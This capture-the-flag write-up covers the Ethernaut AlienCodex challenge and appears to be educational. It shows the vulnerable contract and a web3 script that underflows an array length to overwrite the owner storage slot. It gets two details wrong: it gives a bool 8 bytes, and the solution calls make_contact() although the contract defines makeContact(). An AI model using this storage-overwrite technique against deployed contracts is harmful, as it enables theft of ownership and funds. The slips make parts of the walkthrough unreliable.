The best way to explain this is via an exploit.

  1. Consider the AlienCodex challenge from Ethernaut
  2. We need to take control of the Contract AlienCodex
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Background

  1. Slot 0 will have owner from Ownable (contract AlienCodex is Ownable) which is 20 bytes

  2. Next we have bool contact (8 bytes), by packing both of these will be in first 32 bytes (i.e Slot 0)

  3. Next we have an array bytes32[] public codex.

    1. Solidity will store the size of the array in the next Slot
    2. So Slot 1 has 0, as the array is uninitialised

    How do we set owner?

    Key Insight

     function retract() public contacted {
            codex.length--;
        }
    
    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }

Solution using web3 in browser

// change flag so we can pass modifier
await contract.make_contact()
// do underflow
await contract.retract()

// calc keecak of 1
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))

// calculate i
i = BigInt(2 ** 256) - BigInt(p)

// make the address 32 bytes, add leading zeroes, remove 0x from the address
content = '0x' + '0'.repeat(24) + player.slice(2)

// call the revise method to set owner
await contract.revise(i, content)

// can check also before submitting
await contract.owner() === player

Note on overflow and underflow

  1. In EVM, all numbers are fixed-size: 256-bit unsigned integers (uint256), meaning they can only represent values in the range: 0 ≤ x < 2^256